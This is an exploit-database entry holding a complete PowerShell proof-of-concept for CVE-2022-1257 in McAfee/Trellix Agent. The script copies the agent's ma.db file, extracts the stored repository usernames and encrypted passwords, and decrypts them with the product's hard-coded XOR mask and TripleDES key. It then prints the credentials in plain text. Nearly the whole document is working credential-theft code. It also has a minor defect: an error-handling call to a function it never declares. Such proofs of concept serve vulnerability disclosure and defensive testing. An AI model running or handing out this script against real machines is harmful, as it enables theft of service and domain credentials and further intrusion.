1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 |
Exploit Title: McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information Date: 24 June 2025 Exploit Author: Keenan Scott Vendor Homepage: hxxps[://]www[.]mcafee[.]com/ Software Download: N/A (Unable to find) Version: < 5.7.6 Tested on: Windows 11 CVE: CVE-2022-1257 <# .SYNOPSIS Dump and decrypt encrypted Windows credentials from Trellix Agent Database ("C:\ProgramData\McAfee\Agent\DB\ma.db") - PoC for CVE-2022-1257. Made by scottk817 .DESCRIPTION This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee's Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file. .LINK https://nvd.nist.gov/vuln/detail/cve-2022-1257 https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py https://mrd0x.com/abusing-mcafee-vulnerabilities-misconfigurations/ https://tryhackme.com/room/breachingad .OUTPUTS CSV in stdOut: Username,Password #> # Arguments [CmdletBinding()] param ( [string]$DbSource = 'C:\ProgramData\McAfee\Agent\DB\ma.db', [string]$TempFolder = $env:TEMP ) ### Initialize use of WinSQLite3 ### $cls = "WinSQLite_{0}" -f ([guid]::NewGuid().ToString('N')) $code = @" using System; using System.Runtime.InteropServices; public static class $cls { public const int SQLITE_OK= 0; public const int SQLITE_ROW = 100; [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_open_v2( [MarshalAs(UnmanagedType.LPStr)] string filename, out IntPtr db, int flags, IntPtr vfs ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_close(IntPtr db); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_prepare_v2( IntPtr db, string sql, int nByte, out IntPtr stmt, IntPtr pzTail ); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_step(IntPtr stmt); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col); [DllImport("winsqlite3.dll", CallingConvention = CallingConvention.Cdecl)] public static extern int sqlite3_finalize(IntPtr stmt); } "@ # SQL statement to retrieve usersnames and encrypted passwords from ma.db $sql = @" SELECT AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES WHERE AUTH_PASSWD IS NOT NULL; "@ Add-Type -TypeDefinition $code -PassThru | Out-Null $type = [type]$cls ### Decode and Decrypt ### # Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent. function Invoke-McAfeeDecrypt { param([string]$B64) [byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06, 0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 [byte[]]$buf = [Convert]::FromBase64String($B64.Trim()) for ($i = 0; $i -lt $buf.Length; $i++) { $buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length] } $sha = [System.Security.Cryptography.SHA1]::Create() [byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes("<!@#$%^>")) + (0..3 | ForEach-Object { 0 }) $tdes = [System.Security.Cryptography.TripleDES]::Create() $tdes.Mode = 'ECB' $tdes.Padding = 'None' $tdes.Key = $key [byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length) $i = 0 while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) { $i++ } if ($i -eq 0) { return '' } [Text.Encoding]::UTF8.GetString($plain, 0, $i) } ### Copy ma.db ### # Copy ma.db over to temp directory add GUID incase it already exists there. $tmp = Join-Path $TempFolder ("ma_{0}.db" -f ([guid]::NewGuid())) Copy-Item -LiteralPath $DbSource -Destination $tmp -Force ### Pull records ### $dbPtr = [IntPtr]::Zero $stmtPtr = [IntPtr]::Zero $flags = 1 $rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) Throw "sqlite3_open_v2 failed (code $rc) : $msg" } $rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero) if ($rc -ne $type::SQLITE_OK) { $msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi( $type::sqlite3_errmsg($dbPtr)) $type::sqlite3_close($dbPtr) | Out-Null Throw "sqlite3_prepare_v2 failed (code $rc) : $msg" } $buffer = [System.Collections.Generic.List[string]]::new() while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) { $uPtr = $type::sqlite3_column_text($stmtPtr, 0) $pPtr = $type::sqlite3_column_text($stmtPtr, 1) $user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr) $pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr) if ($user -and $pass) { $buffer.Add("$user,$pass") } } ### Cleanup ### # Finish and close SQL $type::sqlite3_finalize($stmtPtr) | Out-Null $type::sqlite3_close($dbPtr) | Out-Null # Delete the ma.db file copied to the temp file Remove-Item $tmp -Force -ErrorAction SilentlyContinue ### Process encrypted credentials ### # For each row of credentials decrypt them and print plaintext to standard out. foreach ($line in $buffer) { $rec = $line -split ',', 2 if ($rec.Length -eq 2) { $username = $rec[0] try { $password = Invoke-McAfeeDecrypt $rec[1] } catch { $password = "[DECRYPT-ERROR] $_" } "Username,Password" "$username,$password" } } |